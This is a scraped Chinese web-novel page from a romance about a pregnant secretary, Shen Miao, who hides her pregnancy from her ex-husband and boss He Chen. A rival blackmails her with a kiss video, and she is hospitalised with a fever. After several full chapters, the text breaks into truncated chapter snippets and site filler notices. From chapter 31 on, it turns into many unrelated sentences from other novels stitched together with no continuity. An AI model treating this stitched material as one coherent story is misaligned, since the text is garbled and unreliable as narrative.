微凉的指尖触碰到沈渺皮肤的那一刻——
沈渺蓦地清醒。
她猛地一把将贺忱推开,“贺总,你喝多了。”
或许,贺忱是把她当成了程唯怡。
贺忱背脊抵在路灯下,他头顶的光亮笼罩下来,五官深沉昏暗,令人看不透。
“您早点回去休息,我先走了。”
沈渺转身上车,将油门踩到最底,迅速离开。
后视镜里,路灯下男人的影子渐渐缩小,直至最后消失不见。
一个眼神让沈渺凌乱。
一个吻,更是让她乱得彻底。
驱车回家,到达目的地后她没立刻下车,而是落下车窗吹吹冷风,打算冷静一会。
恰好商音每天例行公事般的电话打过来。
“这么晚还在外面?”
听到沈渺这端风声很大,商音担心,“这都加了多少天班,你的身体吃得消吗?”
沈渺声音透着疲倦,“确实有些累,但马上放假了。”
“可你年后不是还得回去才能提离职吗?”商音提醒她,“前三个月最重要了,你既然决定留下这个孩子,千万要注意。”
她这一说,沈渺才想起来送贺忱回家目的是提离职。
结果——
“提完离职,交接工作期间工作量就没这么大了。”
商音,“可是……”
沈渺打断她,“好了,你就别操心我的事情了,我干儿子乖不乖?”
“不乖。”商音哼了哼,“我都想把他塞回肚子里了,这臭小子现在黑白颠倒,比我直播的时候还累!”
商音玩儿网络,是个网红,收入可观。
她与沈渺性子天差地别,沈渺稳扎稳打,她主打一个随心所欲。
这个孩子,是商音做试管怀上的,商音是不婚主义者。
沈渺安抚她,“等我辞职完,帮你带孩子。”
“交给月嫂就好了,到时候你大着肚子我伺候你。”
商音那端传来孩子的哭声,“先不跟你说了,月嫂做宵夜去了,我得自己看着这臭小子……”
挂了电话,沈渺心底的沉闷消散得七七八八。
她打开车门下来,不待走进单元楼,一道刺眼的汽车灯光照过来。
沈渺被照得看不清楚,只能又退回自己的车旁。
汽车熄灭,车灯灭了。
沈渺放下挡着眼睛的手,一眼看清来的人是谁。
“沈秘书,好大的架子,自己不去九洲报道,还得我来请?”
何之洲依旧穿着花衬衫。
只是此刻他脸上没了那日的灿烂笑容。
沈渺并未答应他入职九洲,那天不过是敷衍,何之洲其实心里清楚。
只不过输了项目给贺忱,何之洲故意以此来找茬。
“何总,您应该是理解错了。”
何之洲走到他车前,身体后倾坐在了引擎盖上。
“刚刚听你打电话说,你有辞职的打算?”
沈渺心头一紧,懊恼自己不该开着车窗打电话。
不知他听了多少。
她抿了抿嘴唇,迟疑片刻说,“您也听错了。”
她不承认,何之洲拿她没办法。
但何之洲却是笑了,他掏出手机点了两下,递给沈渺面前。
手机画面上,贺忱将沈渺抵在车上,狠狠地吻她。
他脉络清晰的手握着她细细的手腕,短短几秒的视频却充满了暧昧的气息。
沈渺下意识想将手机拿过来。
何之洲迅速将手机关了,放兜里。
“我以为贺忱是君子,没想到他也玩儿这套!”
转瞬,何之洲又狂妄起来,“虽然你能力出众,但他肯定相中了你这张脸,所以才提拔你的吧,这几年……”
他拉长尾音,意思不言而喻。
这几年,贺忱一定没少占沈渺便宜。
甚至,说不定已经吃干抹净了。
“贺总喝多了,那只不过是一个误会。”沈渺尽力让自己冷静下来,“何总,您别多想。”
“沈秘书,我们来做个交易,如何?”
何之洲手里捏住了沈渺的命脉。
13.没必要为昨天的事情躲我
沈渺沉默,面色写满了抗拒。
“我知道你们什么都没发生,可如果这段视频流出去,不知道程唯怡信不信。”
何之洲看到了沈渺推开贺忱。
但只有他看到了,这段视频流出去,是没有信他们接下来什么都没发生的。
“何总可以先说说看。”沈渺不敢直接答应。
何之洲露出胜利者笑容,“放心,你这样的大美人儿我不舍得为难,等你在百荣辞职优先考虑一下九洲,这是附加条件,怎么样?”
沈渺拧了拧眉,“您先说正事。”
“当我两天的跟班。”何之洲眉尾挑着,一副痞坏,“放心,是等百荣放假以后。”
他的要求,出乎沈渺的预料。
沈渺以为,他会直接拿那段视频,威胁她跳槽到九洲。
若没有那两年的婚姻,沈渺一定不会受他威胁。
调出贺忱家的视频,就能向程唯怡解释清楚今晚他们什么都没有。
可如今程唯怡与明黎艳本就把她当成眼中钉。
不能再节外生枝。
何之洲丢了项目,拿贺忱没办法,这是要拿她撒气。
再三权衡后,沈渺说,“我可以答应,但是违法的事情不做,而且你也不能强行违背我的意愿。”
何之洲这人虽然肆意张扬了些,但是名声不坏。
沈渺不怕他会对自己不利。
“行,就这么说定了。”何之洲毫不犹豫答应,“放假以后等我通知。”
他站直身体,眼底划过一抹精光,转身上了车。
不过几分钟的交谈,沈渺冻透了。
不等何之洲的车离开,她率先回了楼道内。
百荣放假其他企业几乎全部放假,所以当何之洲的跟班要做的肯定与工作无关。
不会给贺忱以及百荣带来任何的负面影响。
或许,何之洲会让她跑遍大半个京北,买个烤红薯。
诸如此类的刁难,她都做好了准备。
但沈渺始终做不好,明天怎么见贺忱的准备。
贺忱那个样子,应该是喝多了,今晚的事情都不记得。
就算记得,也只是一个误会,酒精作祟。
或许,只有她一个人不自在。
一晚的翻来覆去,临近天亮沈渺才睡过去。
早上的闹铃响起,沈渺在一阵头疼欲裂中醒过来。
意识回笼,四肢百骸一阵阵的痛意袭来。
那天在贺家加班后,沈渺就一直有些轻微感冒。
再加上这段时间高强度加班,她的身体终于扛不住,发烧了。
换做以往,沈渺一包退烧药下去,不会耽误上班。
但情况特殊,沈渺给贺忱发消息请假后,打车去医院。
——
百荣集团。
办公桌上,贺忱的手机响了一声。
程唯怡看了一眼,见发消息的人是沈渺,立马将手机拿起来了。
【贺总,我身体不适申请休假,您今天的行程我已经发送到邮箱,早上八点半的董事会议尤为重要。】
这次董事会是年度报告,沈渺特意在消息中提了一嘴,生怕贺忱没空看邮箱。
程唯怡只将这条消息看了一半,反手就把短信删了。
她并不关心贺忱的工作会不会被耽误,想的是就算耽误了,贺忱只会怪沈渺失职。
直接把沈渺开除算了,省得等到年后还得走流程。
她一天都不想再看到那女人了!
片刻,贺忱从休息室出来,将银灰色的腕表扣在手上。
“贺忱哥。”
程唯怡迅速将手机放回原处,“好端端的你怎么大半夜跑来公司加班?”
贺忱面色划过一抹不自在,他捏了捏眉心,“临时有些着急的工作要处理。”
“现在工作处理完了,你快去睡会吧。”程唯怡体贴道。
此刻刚六点半,距离上班还有两个小时。
“不了。”贺忱拉开椅子坐下,眉心紧锁。
“最近公司事情多,你要好好保重身体才能更好地把今年收尾,万一熬病了这个春节没人照顾我了。”
程唯怡把他刚拿起的文件夺走,“快去休息,等会儿沈秘书来上班会喊醒你的。”
因为临时掺了政圈项目,导致工作量翻倍,距离放假还有三天,而贺忱手头还有一堆没处理完的工作。
他眉宇透着几分疲倦,思忖片刻站起来,“好,你也回去休息吧。”
程唯怡点头,送他到休息室门口,看着他躺下来才离开。
离开百荣,程唯怡又给周芸发了一个消息。
【贺忱哥昨晚通宵加班,不许任何人进去打扰他,有工作都交代给沈秘书处理。】
周芸立马回了消息:【收到!】
有了程唯怡的话,周芸上班后专门堵在贺忱办公室门口。
任何来找贺忱的人,都被她挡下,然后将一堆文件放在了沈渺办公桌上……
直到九点钟,林昭从会议室里出来。
“贺总呢?”
周芸搬了个椅子,在办公室旁边坐着。
见林昭面带急色,她迅速站起来,“贺总在睡觉,程小姐说除了沈秘书谁都不许打扰贺总休息。”
“沈秘书人呢!?”
林昭见沈渺的工位上空空如也,“董事会八点半开始,董事们等了半个小时了!”
一听这话,周芸立马让开办公室门口的位置。
“我不知道啊,沈秘书怎么还没来?她不知道今天有会议吗?也不知道提醒贺总!”
林昭推开办公室门进去,不待他进入休息室,便见贺忱一身西装革履阔步而来。
“贺总——”
不待林昭说话,贺忱在桌子上拿了一份文件,阔步朝外走。
出了办公室门,见沈渺的工位上空空如也,贺忱的眸光倏地眯起。
“我这就联系沈秘书。”
林昭迅速掏出手机,给沈渺打电话。
贺忱恢复步伐,朝着会议室走去。
两个小时后,董事会议结束。
会议室门被推开,贺忱面色阴郁着走出,“你是说,联系不上沈秘书?”
“沈秘书的手机无人接听。”
林昭每隔几分钟打一次,打了不知多少通电话,都没人接。
沈渺工位上的文件堆积成山,贺忱走过来停顿了几秒,眸光锐利。
他掏出手机直接打给沈渺。
电话响了约莫七八声,快要自动挂断时,被接起。
“喂……”
电话那端一阵嘈杂,依稀能听见医院播报叫号的声音。
贺忱嗓音涔冷,“如果你是为了昨天的事情故意躲我,完全没必要,更不能拿工作来开玩笑。”
14.沈渺住院昏倒,贺忱赶来
“先生您是病人家属吗?”
那端嘈杂后,小护士的声音变得清晰,“病人在医院挂点滴晕倒了,您能来一趟吗?”
病人家属?
贺忱迅速将沈渺定位成‘病人’,可他无法将自己跟‘家属’两个字联系到一起。
拒绝的话即将脱口而出时,他想起沈渺是孤儿。
“哪个医院。”他眼皮落下,盯着沈渺桌上一颗长满刺的仙人掌绿植。
“市一医院。”
小护士说完,催促道,“您尽快过来,病人情况特殊,我们要跟您交代清楚病情。”
情况特殊?贺忱敏锐地捕捉到这四个字,他应声,挂断电话。
“林昭,备车,市一医院。”
贺忱转身进入办公室,拿了外套出来。
“贺总,还有很多工作等着您处理呢!”
林昭一脸焦急,“下午还有海外会议要开呢!”
贺忱步伐不减,不过转身来到电梯前,他看了眼腕表。
“把会议挪到晚上。”
闻言,林昭只能颔首,“是。”
迈巴赫从百荣集团地下停车场驶出,直奔市一医院……
——
沈渺打车到医院时,已经烧到三十九度多。
她感染了病毒,情况危急医生直接给她挂了点滴。
谁知点滴打到一半,沈渺就昏倒了。
再次醒来时,她已经躺在病房的单人床上。
小护士正在给她换点滴液。
“沈小姐,你可算醒了,还有没有觉得哪里不舒服?”
沈渺摇头,却一阵头疼欲裂,她张了张嘴,嗓子嘶哑发不出声音。
病来如山倒,没想到一下子这么严重。
小护士换好药,倒了一杯温水过来,“来,喝点水,我扶你起来。”
沈渺撑着身体坐起来,喝了一杯温水后,清了清嗓子,这才开口。
“不好意思,麻烦你们了。”
小护士笑了下摇头,“没关系,你的家属刚好打电话过来,他已经来了,并且给你安排了全面检查,血已经抽完了,等会做完检查去把彩超做了,刚好也该孕检了吧。”
“家属?”沈渺一愣,她哪里来的家属?
脑海里不由自主浮现贺忱的影子,但她很快就甩了甩头,将贺忱从家属的名单里踢除了。
结婚那两年,他都没光明正大当过她的家属。
“请问是谁来……”
“莫护士,赶紧来一趟36床,病人有状况!”
不等沈渺问完,门外传来一道声音。
小护士松开她放下水杯就往外走,“你的家属去缴费了,马上就回来,你有事摁护士铃。”
沈渺坐在病床上冷静了几秒,扭头四处找手机,却没找到。
她立马摁铃呼叫护士。
“麻烦问一下,我刚刚在输液室晕倒,被您们转移到病房后,手机不知道去哪里了。”
“在你的家属手里,他马上就回来了,您等等吧。”
护士回答完就结束了通话。
沈渺满腹的疑问,被堵在喉咙里没机会说出来。
会来医院,帮她缴医药费为她跑前跑后的人不多。
商音是其中之一。
但商音是夜猫子,一般睡到下午才起床,然后在她晚上下班后找她闲聊。
虽然她请了假,但工作上若是有事,贺忱一定会找她。
而她调成静音的手机,除了商音只有贺忱在白名单里,他若打电话会响铃——
沈渺倒吸一口凉气,难道真的是贺忱来医院了?
她轻咬着下唇,心间忐忑,脸色逐渐惨白。
护士应该不会跟贺忱提及她怀孕的事情吧?
可护士把贺忱当成她的家属,安排全面检查……一定会提及她身体状况。
沈渺左脑攻击右脑,一边抱着侥幸心理一边又做最坏的打算。
没准是商音刚好有事找她呢?
她抿了抿唇瓣,再一次拨通了护士铃。
“请问,帮我缴费的家属是姓商吗?”
“你自己家属姓什么不知道吗?”护士忙,语气有些不耐烦,“姓贺。”
说完,通话结束。
沈渺顿时背脊发凉,她拔掉了手上了的点滴管,鲜红的血液在她手背上流出。
钻心的疼痛袭来,她却不顾,抽了一张纸摁在手背处,拿了外套就往外跑。
她刚出病房,小护士就一阵惊呼。
“沈小姐,你的点滴还没打完!”
“我有事不打了。”沈渺语气匆忙,说完转身往外走。
她烧还没退,头昏脑涨,走起路来跌跌撞撞。
小护士不放心跟上她,“你这样走了,出事了怎么办?”
“出事我自己负责。”沈渺摁下电梯,手背上的纸已经被血完全浸透。
“没有什么事情比自己身体更重要,你要真有事可以让家属代办。”
小护士劝说她,“别拿自己和孩子的生命开玩笑啊!”
沈渺的手覆上小腹,在心里跟孩子说了一句,一定要坚持住。
她不知如何回应护士的话,只能歉意地摇头,“谢谢你的关心,但是抱歉,我真的要走。”
她要走,小护士拦不住,“那你也要在免责书上签字。”
‘叮……’
电梯门缓缓打开。
贺忱走出来,他一眼看到脸色苍白,瘦得宛若纸片人的沈渺。
目光触及沈渺手背上的血,他眸色深谙。
“沈秘书,你的手流了好多血!”
林昭跟在贺忱后面出来,看到这一幕忍不住惊呼。
沈渺黑白分明的眼眸撞入贺忱鹰隼般的眸。
她的心一瞬被提起,堵在嗓子眼里,她能听到自己如鼓的心跳声,一下又一下。
“二位是病人家属吧?病人刚醒,闹着要离开,点滴还没打完。”
小护士像见了救星一般。
沈渺强装冷静,“贺总,我……啊!”
贺忱向前两步,直接将她打横抱起,“她病房在哪里?”
“108!”小护士指了个方向。
贺忱抱着她朝病房里走。
“贺总,您没必要为了我的事情特意跑一趟,我的身体我自己清楚,怎么样都跟您……没关系。”
沈渺的手下意识抓着他胸膛的衣襟,暗示着撇清关系。
贺忱却是一声冷笑,“是吗?可我怎么觉得,非常有必要跑这一趟,而且我们需要好、好、聊、聊!”
15.不承认孩子是他的
末尾的四个字,贺忱一字一顿。
一下一下,敲在沈渺的心头。
沈渺垂着眼眸,视线落在他滚动的喉结上。
性感又危险的气息,一瞬将她彻底包裹住。
她不动声色,任由贺忱把她抱到床上,轻咬着嘴唇静等着贺忱先开口。
至少,她要知道贺忱知道了多少。
就算知道她怀孕,她也可以不承认孩子是他的。
那一晚,只要她不说,没人知道。
她垂在身侧的手,紧紧抓着衣角。
“林昭,到外面守着。”贺忱走到窗边,身体后倾靠在窗沿上。
林昭转身出去,关好病......
16.奶奶出大事了
沈渺对待工作的态度是毋庸置疑的。
董事会迟到是大事,若传开了是她这个秘书的失职,会影响她的事业。
她必须弄清楚。
林昭将她发来的截图,转发给贺忱。
“贺总,您是不是没看到沈秘书的请假信息?”
贺忱看了眼截图,眉骨一拢,打开与沈渺的聊天界面。
最后一条消息停留在几天前的工作回复上。
他眸光瞬沉,将手机关了,一股凛然的气息衍生出来。
见状,林昭不敢说话。
一下午,贺忱都在忙碌的工作中度过。
傍晚时,程唯怡送了爱心晚餐过来......
17.该不会是被人欺负了吧?
“怎么了?”
沈渺面露不解,“奶奶,您想说什么?”
“你吃早饭了吗?”贺老夫人一口气提在胸口,差点儿没把自己憋坏了。
贺懿翻了个白眼,不断给贺老夫人使眼色。
沈渺点头,“吃过了。”
“那你——”贺老夫人一鼓作气,却又卡了壳,到嘴的话变成,“怎么来的医院啊?”
“开车。”沈渺一眼看出,贺老夫人有话要说,“奶奶,您有什么话直接说,不用跟我客气的。”
贺老夫人看了眼贺懿。
沈渺顺着贺老夫人的目光,回头看了一眼。
却见贺懿......
18.年后我要看到你的辞职报告!
“你在这儿干什么?”
程唯怡没下车时就看到沈渺了。
她装没看见,跟贺忱进入住院部,谎称落了东西又单独回来了。
沈渺微微颔首,“程小姐。”
她态度不卑不亢,客气又礼貌。
“你装什么装?”
她态度再好,程唯怡也将她当成眼中钉,肉中刺。
“故意跟贺忱哥告状,挑拨我跟贺忱哥的关系,你可真够心机的!”
被反咬一口,沈渺不与她争辩。
“抱歉,给程小姐带来麻烦了,等我离开以后,就不会再有这种困扰。”
她点明迟早离开的立场。
程唯怡的......
19.来自何之洲的新年大礼
何之洲是不折不扣的公子哥,爱玩爱热闹。
听说他接管公司当天,何家派人到酒吧把人拎到九洲的。
此刻何之洲桌上那几瓶酒,加起来八位数。
他算顽固子弟里家世最好,目前唯一一个接管了公司的。
周围坐着的一圈人,给他递烟、点火、倒酒,一口一个洲哥地喊。
沈渺走过去,站在何之洲面前,“何总。”
“你来了啊。”何之洲推开怀里的女人,指着紧挨着他的地方,“过来坐。”
“不了,我习惯站着,您有什么事情尽管吩咐我。”
沈渺垂着眉眼。
20.若已经找到下家,沈秘书不必瞒着
春节是京北正冷的时候。
每年春节,贺老夫人都会给所有下人放假,一家人过个团圆年。
没成想今年明黎艳他们出国度假,家里很冷清。
“奶奶,咱们再喊渺渺一次?”
贺懿还是不死心,“她来了家里热闹,晚上一起包饺子守岁。”
贺老夫人白她一眼,“你是想让人家来干活吧?”
沈渺嫁过来后,这两年的春节她是年夜饭的主力军。
她的手艺好,这一点连明黎艳都认可。
所以春节这两天,是一家人难得融洽的好日子,不管是贺老夫人还是贺懿,都喜欢......
21.不是沈渺不走,而是贺忱留!
贺忱这话沈渺没法接。
执意走,好像她已经找好下家跳槽,要背叛百荣。
不走……又不行。
贺忱站在那里,黢黑的瞳仁看着她,在等她回答。
“贺总,您真的误会了,我是因为个人原因才辞职的。”
沈渺干脆拿个人隐私来搪塞。
贺忱眉尾轻挑了下,沉吟片刻道,“那我就因个人原因,拒绝你的离职申请。”
说完,他转身进入办公室。
沈渺侧目,看着他离去的背影,眉头打成死结。
不似上次不清不楚地调回来,这次贺忱给了明确的答复,不批准离职。
可......
22.事成之后让你做沈渺的位置!
刚刚的话,是沈渺一面之词。
程唯怡没有证据,她登时回神。
“我就说,贺忱哥怎么会留沈渺!这个女人也太有心机了,差一点我就要找贺忱哥闹了,害得我们又吵架。”
明黎艳安抚她,“唯怡,你只管跟贺忱培养感情,沈渺这边我来处理,别再跟贺忱吵架了,他的脾气你又不是不了解……”
贺忱能撇下工作,当众去追程唯怡哄她开心,已经是极限。
程唯怡知道,所以那次因为一条信息吵架,是她低了头。
沈渺的车开得慢,她看到程唯怡掏出手机打电......
《离婚半年才怀,贺总,娃真不是你的》22.事成之后让你做沈渺的位置!
正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新!
《离婚半年才怀,贺总,娃真不是你的》爱曲小说全文字更新,牢记网址:
23.订婚宴就在十天后
沈渺在公司的地位,可是一人之下万人之上!周芸这辈子都没想过,自己能接沈渺的班。
可如果给她撑腰的人是程唯怡,这个未来的公司老板娘——
“程小姐,你放心,我以后都听你的,一定给你看好了贺总,不让任何女人接近他——哦不,贺总的心里本来就只有你,那些女人就算贴上来他也看不到,但肯定很烦,我帮贺总解除烦恼,让他有更多的时间陪你。”这话说到程唯怡的心坎上。
程唯怡又把解约书给她,
“那你就是我的人了,明天等沈渺上班......
《离婚半年才怀,贺总,娃真不是你的》23.订婚宴就在十天后
正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新!
《离婚半年才怀,贺总,娃真不是你的》爱曲小说全文字更新,牢记网址:
24.事情被撞破
沈渺听到贺忱的声音,头皮发麻。
她下意识想将文件收起来。
而彼时的贺忱却因为周芸的话,停下了脚步。
他目光锐利,看着周芸站在属于沈渺的位置上。
沈渺转过头,对上贺忱探究的目光,她正欲开口——
“贺总,沈秘书等会儿要走离职流程,以后我接手她的工作,等会儿的会议我来准备!”
周芸根本不给沈渺说话的机会。
她这话一出,沈渺呼吸一滞,脑袋里划过两个字,完了。
“谁离职?”贺忱倏地眯起眼眸。
“沈秘书。”周芸毫不犹豫地说,“......
25.沈渺的存在,已经影响到你的位置了
沈渺也猜不透,她叹息一声沉默着。
“早知道何之洲挖你的时候,你直接跟他走算了。”
商音分析道,“虽然九洲也在京北,但最起码比在贺忱身边强,五个月以后你肚子都大了,万一要是被贺忱发现了,你想跑都跑不了。”
沈渺从未想过铤而走险,在贺忱眼皮子底下把这个孩子生下来。
她想用一张嘴去辩驳孩子的身世,赌绝对不会被拆穿,太冒险。
“再想想办法。”
“要不……”商音灵机一动,“你联系一下何之洲,看他愿不愿意给你掏违约金,只......
《离婚半年才怀,贺总,娃真不是你的》25.沈渺的存在,已经影响到你的位置了
正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新!
《离婚半年才怀,贺总,娃真不是你的》爱曲小说全文字更新,牢记网址:
26.会议取消,我带你去医院
程唯怡扯谎道,“她很想去的,但贺忱哥知道是你在挖,所以不放人,如果你愿意替沈渺把违约金掏了,贺忱哥想留都留不住。”
何之洲笑容一敛。
想到那晚沈渺推开贺忱,而不是直接上了贺忱的床,捞好处——
这足以证明,沈渺对贺忱没意思。
所以沈渺是真的想跳槽?
沈渺跟百荣签的违约金是多少,没人知道。
但她是贺忱的秘书,在百荣待了六年,违约金一定高于常人。
何之洲钱多好面子,他不介意掏点钱看贺忱吃瘪。
但他不是傻子,不会白让程唯......
27.二百万我掏了,人,我要了
说话间,沈渺将包拿起来,朝电梯走,路过贺忱身边时颔首示意,她走了。
好在贺忱没追上来。
她立刻压低声音正面回复何之洲的话,“但我的事情自己想办法解决,您……”
‘嘟嘟嘟’
电话那端,一阵忙音。
她这才发现,何之洲已经挂了。
电梯到了,她匆匆进入离开,没将这通突如其来的电话放在心上。
偌大的总裁办公室,贺忱站在落地窗前,俯瞰京北商业街。
百荣大厦的轮廓灯照亮半边天空。
男人的脸色隐晦不明,他身姿抵着窗沿,指缝里夹着的......
28.她只是贺忱的一颗棋子
“想要?凭本事来拿。”
贺忱转身朝包厢走去。
何之洲大笑着跟上他,“贺总怎么不敢把沈渺叫上来,问问她的意见?”
说话间,贺忱已经进入包厢,他拉开椅子坐下,脚踩在另外一把椅子上。
他的动作成功地阻挡住何之洲想坐在他胳膊。
“她没那个资格选。”
不过是个孤儿出身的秘书,能力再出众也到不了选择他们的位置上。
何之洲在与他隔着一张椅子的位置上坐下。
“贺总还真是无情,她跟了你那么久,在你眼里就像个棋子,你非把人留下,是不......
29.沈秘书一定很担心何之洲
何之洲下台,违约金掏不了,沈渺走不成。
她这张精致的小脸儿,一点儿事儿也藏不住。
贺忱下颚线条清晰,舌尖抵着腮帮,看似淡然的模样却暗藏汹涌。
“想必沈秘书一定很担心何之洲,那你就代替百荣去医院看望他吧,早去早回,十一点的会议之前回来。”
沈渺突然意识到,何之洲跟贺忱见过面了。
那段录音,就是他们的对话。
是昨晚!
“怎么。”贺忱双手插兜,站得笔直,居高临下地看着她,“沈秘书不愿意。”
他这语气,沈渺摸不透他到底是......
30.你确定要自降身价,跟她混为一谈?
“就,问问。”
调查沈渺不在总公司这半年,还得偷偷摸摸的,对贺懿来说很难。
听人说今天沈渺去医院看何之洲了,她赶紧过来打听一下。
“不算特别熟。”沈渺如实回答,“你别忘了,那是你哥的死对头。”
她若是跟何之洲太熟,就过分了。
贺懿‘哦’了一声,“也对,我就随口一问,你别放在心上。”
沈渺黑白分明的眼眸看着她,等着她继续问。
谁知她起身边走边说,“我去给你买午餐,你等着!”
“哎——”沈渺想让她别去,时间已经来不及......
31.何之洲,毁我哥姻缘,我跟你没完!
沈渺不解地看着他。
贺忱看了眼林昭。
林昭迅速给郭经理打电话,让郭经理带着文件上楼来。
不过几分钟,郭经理将那封贺忱签了字的解约合同书拿过来。
贺忱瞥了一眼,不过转瞬目光就投向了程唯怡。
江城策、阿杰和黑仔,落坐在靠角落的一个卡座内,悠哉地听着夜场的音乐,喝着啤酒。
可她转过身的时候,自然看不到后面,只觉得诺杨也转了过来,似乎想趁机抱自己,这时候她打定主意,无论诺杨是不是会变好,这么干都等同于骚扰,她会毫不留情地向后猛踢,让他尝尝厉害。
“那是什么?”走在苏慕白旁边的狐狸也看到那印在车门上的痕迹,她没能看出什么,只好问做出了若有所思状的苏慕白。
陈元见状,脸上大是无光,他有点难堪地朝左右奴婢望了一眼,挤出一个笑容挨近陈攘。
但是戴江毕竟也不是吃素的,他咬着牙,尽力往旁边一躲,斗气波几乎擦着自己的衣角向地面飞去。
听到这里,江城策已经是如坐针毡了,百般尴尬之下,江城策随便找了一个借口,躲进了洗手间。
古辰以为自己听错了,他艰难地向君悔看去,见君悔和自己是一样的神情,想必她也听到了刚才那个声音。
前日静宜领了尚衣局的人,携了些新近进贡的绸缎,来同我商量各宫妃嫔添制夏衣的时候,保元竟笑言那匹水粉绫纹绸适合月芙。
回到柳家庄,近午时分,雨妙儿想要带叶凡见识一下柳家庄的风景。
和苏慕白进行了短暂的交谈之后,冷凝雪走开了,而苏慕白则找个阴暗角落,一边嘘嘘一边在心里问龙王。
李栓一脸的不高兴,也不搭话,进屋脱鞋上炕,见桌上摆满了丰盛的菜肴,有清炖老母鸡、酱鸭子、猪头肉、酱牛肉、糖醋鱼等等,就连过年的时候,李进忠家都没吃过这么好。
一道红光在街上游走,每当那道红光撞到一个飓风,就散一个。令的动作利索干净,简单漂亮。
林思雅跟在他们身后,一路上她发现有好几个围在一起的工友正遮遮掩掩的向他们这边张望着。
在苓国边境的驻扎的军队也不用回来了,随手加个buff,啥也不用说了直接开揍吧。
“噗哩,不说就算了嘛。”仁王雅治卷辫子的手顿了顿,某些秘密他还是不希望别人知道的,尤其秘密的主角之一是他自己。
工人们都鸦雀无声了,他们不知道吴景辉是谁,但是都觉得他的话有道理,于是也不再七嘴八舌地乱说话。
至于苗疆,还不是她现在能够抗衡的。所以,她还需要变强!还有母亲和父亲的事情。
“林妈妈,我来的日子也不短了。夫人让我多和你走动走动。”这样的话说出去,意思就是钱母让她来的。她就不信了,这个钱府的下人,不卖面子给她,难道还不卖面子给钱母吗?
嫣然注视着巧眉,一时间,她觉得满眼满屋里都闪耀着那杯缘的光彩,像一屋子跳跃的星辰。
带着呼啸,带着灭世的风暴,带着锐不可当的凌厉剑气,韩林本就是尊修中段境界的实力,加上他的分身又是剑灵,以杀戮剑气斩出的剑气已然可以越级和尊修上段境界的强者一战。
32.何总说了您来消费全场免费
他手臂如金刚,丝毫不动,击溃对方的魔气,而后身体消失,迈入虚空,直接从对方的背后出现。
他皮肤上有些裂纹,这样高强度接下对方的招式,实在是不容易,甚至有些他可以避开,但他没有。
“魏老那么老了,还在教学吗?”李旭问道,八年前他已经是六十多岁。现在七十多了吧。
但是排空了冷气的北方,自然也更早的吸引了来自南方的暖流。所以,元生猜对一半,庆思源猜错一半。夜丹出发前没想到,但是现在的暖风提醒他了。
“当然,他等级没我高,鬼魂之力没有我庞大,我可以为他创造数之不尽的各种幻境。”张浩解释道。
苏陌望着和自己一样孤零零的被隔离在战阵之外的张可,咧嘴对他挑衅的笑了笑。
老爹也没怪我,只是让我再忙也不要忘了吃饭,我自然是连连答应,等聊了几句过后,我忽然想起二哥来,于是我问老爹,二哥有没有回家吃饭,老爹说我二哥早已经到了。
凤飞沙单手上举,她的手上正拖着一片巨大的云彩,不是那映的通红的红霞,而是火精聚集而来数量太盛产生的质变。
“我现在算是跟本王大宝在一起做,怕是不方便。”他的话我是心动的,可也无奈。
刘艳明显有些惊吓过度,目光呆滞,傻傻的,完全没了之前的那般活力。
切,虽然不甘愿,但是他那喂药法实在是有够恐怖,我乖乖的回到石头上。
唐枫和宋艾佳带着着胖子他们三人走进办公室,灿东做为健身房主管之一和庄晓在外面把大家组织起来,重新安排了工作,也算是开业动员。
也让领主大人的目光跟蜜蜂看见花粉似的,黏在她身上就从来没离开过片刻。
“……我有答应过你这些吗?”我懵了,这骚狐狸真是能翻旧账,陈芝麻烂谷子的事,他记得还真清楚。
林冲沉吟片刻后道出了一件陈年往事,而那次事件也是他的人生转折点。
可一到晚上,耿明玉的精神就相当的好,根本睡不着,如今竟然还有人送上门,陪她玩耍,她又怎么会拒绝呢?
看到面前的金玉,卫珏满脸的厌恶,想要离她远一点,可奈何四肢无力,挣扎了几下,又昏倒过去。
若是让何家知道何春夏这么会赚钱,肯定会把她请回去,当菩萨给供奉着。
“馨儿,你还没唱怎么就抢走了银票?”翼暮目瞪口呆,半天才反应过来。
而林越与其说是在抓她,倒不如说是在引导她,刚才的步伐走下一圈算是记熟,但更重要的是融汇,不一定在第一步后面要接第二步,根据实际情况排列组合,这才有游龙的意义。
以前的叶飞分辨不出天地之气的区别,只觉得混沌一片都是一个样子,但是筑基以后的叶飞已经可以感知出这天地之间的灵气了。
只是,经过了特殊的处理之后,原本蕴含这丰富能量与营养的野兽肉,就变得和末世之前的普通肉类一样了,营养价值大减不说,喂饱一个成年人的量也变得多了。
躺在地上昏迷过去的计略终于醒了,一睁眼,意识一恢复,然后就跟疯了一样的扑向地上的刀片。
再说了,这一顿踹可不好受,还有黄三郎那死变态盯着,想想就菊花一紧。
猴子却是喜忧参半,喜的是紧箍圈果然藏着大秘密,忧的是要想窥探这个大秘密,必须得与紧箍咒相互配合,而这,意味他将要承受莫大的痛楚。
“呵呵,你不仅废物,而且还是白痴,你被我踩在脚下,连起身都不能,有啥资格跟我单挑?可笑!”叶龙不屑耻笑一声。
他手头还有五万可战之兵,再加上安排在汗庭里的兵力,实力依然是草原上至强的存在,只要民众服他,不众叛亲离,他有自信扫平一切不服者,再一次坐稳他突厥汗王的位子。
观众惊呆了,不知道发生什么事,为什么?逼神会这么说,难不成他会认为,一个妹子打个中单可以把其他人给虐了一遍吗?要知道,虽然大家都不行最擅长的位置,到时又多人又不是擅长的位置,难不成还可以大放异彩?
第二箭‘一箭双雕’修炼成功,林毅可以用神识锁定二百米外的猎物,做到箭无虚发。
她自己曾经都能因同事的一句你好像胖了不少,一天一顿把自己饿瘦。
可是众人都好奇时,孟千里忽然变了脸色,甚至热切的迎上前去握住了韩成的手。
看着唐然等人行路的方向,康诚佑忽的一笑,北面是天府基地的“贫民窟”,原来这几人真的是这几天才来的流民,连B级异能者能住进天府别墅都不知道。
33.要她这个秘书干什么?
“你们认错人了。”
沈渺将卡递过去,“我不姓沈。”
店员微微一笑,从包里拿出一张照片,“沈小姐,您的照片整个商场的人,人手一张。”
还没人斟酒呢,蓝羽已经开始自斟自饮了好多杯,不管前面有没有人她已经开始独自喝起了闷酒。别说,跟丁振单独的,这好像是第二次喝酒了,每次都是突如其来的大起大落。
“爷爷……”于英有些无力的看着于航,他知道就算自己不同意也没有办法了,于盛铭可以继承家主的位置这件事情应该是板上钉钉的事情了。
